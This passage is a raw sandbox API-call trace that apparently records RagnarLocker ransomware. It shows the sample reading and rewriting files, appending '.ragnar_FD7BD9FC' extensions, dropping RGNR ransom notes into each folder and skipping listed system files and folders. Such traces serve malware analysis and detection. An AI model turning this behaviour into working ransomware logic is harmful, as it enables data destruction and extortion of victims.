nNumberOfBytesToRead=0x785, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x785, lpOverlapped=0x0) returned 1 [0071.243] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.243] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x785, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.244] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x785, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x785, lpOverlapped=0x0) returned 1 [0071.244] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x785, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.244] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.244] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x785, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.244] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.244] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.244] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.244] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.244] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.244] GetProcessHeap () returned 0x580000 [0071.244] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.244] CloseHandle (hObject=0x10c) returned 1 [0071.245] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" [0071.245] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.ragnar_FD7BD9FC" [0071.245] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.246] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ca6fda0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ca6fda0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0071.246] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.246] lstrcpyW (in: lpString1=0x1eab72, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0071.246] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\RGNR_FD7BD9FC.txt") returned=".txt" [0071.246] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0071.246] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0071.246] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.246] lstrcpyW (in: lpString1=0x1eab72, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0071.246] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned=".PNG" [0071.246] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0071.246] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0071.246] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0071.246] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0071.246] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0071.246] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0071.246] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0071.246] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0071.246] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0071.246] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0071.246] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0071.246] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0071.246] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0071.246] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0071.246] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0071.246] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0071.246] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0071.246] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0071.246] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0071.246] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0071.246] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0071.246] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0071.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20 [0071.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0071.248] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=27407) returned 1 [0071.248] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6b06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.248] GetProcessHeap () returned 0x580000 [0071.248] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.248] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.250] VirtualAlloc (lpAddress=0x0, dwSize=0x6b0f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.250] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.250] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.250] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6b0f, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x6b0f, lpOverlapped=0x0) returned 1 [0071.251] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.251] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6b0f, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.251] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6b0f, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x6b0f, lpOverlapped=0x0) returned 1 [0071.252] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6b0f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.252] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.252] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6b0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.252] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.252] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.252] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.252] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.252] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.252] GetProcessHeap () returned 0x580000 [0071.252] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.252] CloseHandle (hObject=0x10c) returned 1 [0071.253] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" [0071.253] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0071.253] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.254] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0071.254] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0071.254] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0071.254] lstrcmpiW (lpString1="BOLDSTRI", lpString2=".") returned 1 [0071.254] lstrcmpiW (lpString1="BOLDSTRI", lpString2="..") returned 1 [0071.254] lstrcmpiW (lpString1="BOLDSTRI", lpString2="Windows") returned -1 [0071.254] lstrcmpiW (lpString1="BOLDSTRI", lpString2="Windows.old") returned -1 [0071.254] lstrcmpiW (lpString1="BOLDSTRI", lpString2="Tor browser") returned -1 [0071.254] lstrcmpiW (lpString1="BOLDSTRI", lpString2="Internet Explorer") returned -1 [0071.254] lstrcmpiW (lpString1="BOLDSTRI", lpString2="Google") returned -1 [0071.254] lstrcmpiW (lpString1="BOLDSTRI", lpString2="Opera") returned -1 [0071.254] lstrcmpiW (lpString1="BOLDSTRI", lpString2="Opera Software") returned -1 [0071.254] lstrcmpiW (lpString1="BOLDSTRI", lpString2="Mozilla") returned -1 [0071.254] lstrcmpiW (lpString1="BOLDSTRI", lpString2="Mozilla Firefox") returned -1 [0071.254] lstrcmpiW (lpString1="BOLDSTRI", lpString2="$Recycle.Bin") returned 1 [0071.254] lstrcmpiW (lpString1="BOLDSTRI", lpString2="ProgramData") returned -1 [0071.254] lstrcmpiW (lpString1="BOLDSTRI", lpString2="All Users") returned 1 [0071.254] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0071.254] lstrcpyW (in: lpString1=0x1eb638, lpString2="BOLDSTRI" | out: lpString1="BOLDSTRI") returned="BOLDSTRI" [0071.254] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\" [0071.255] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\" [0071.255] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\RGNR_FD7BD9FC.txt" [0071.255] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0071.258] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*" [0071.258] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.258] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0071.258] lstrcpyW (in: lpString1=0x1ea75e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0071.258] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7cb7a740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7cb7a740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0071.258] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0071.258] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7cb7a740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7cb7a740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.258] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0071.258] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0071.258] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0071.258] lstrcmpiW (lpString1="BOLDSTRI.ELM", lpString2=".") returned 1 [0071.258] lstrcmpiW (lpString1="BOLDSTRI.ELM", lpString2="..") returned 1 [0071.258] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1 [0071.258] lstrcmpiW (lpString1="BOLDSTRI.INF", lpString2=".") returned 1 [0071.258] lstrcmpiW (lpString1="BOLDSTRI.INF", lpString2="..") returned 1 [0071.258] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0071.258] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0071.258] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0071.258] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cb7a740, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7cb7a740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0071.258] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0071.258] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0071.258] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0071.258] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0071.259] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0071.259] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0071.259] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0071.259] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7cb7a740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7cb7a740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0071.259] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7cb7a740, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7cb7a740, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.259] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, 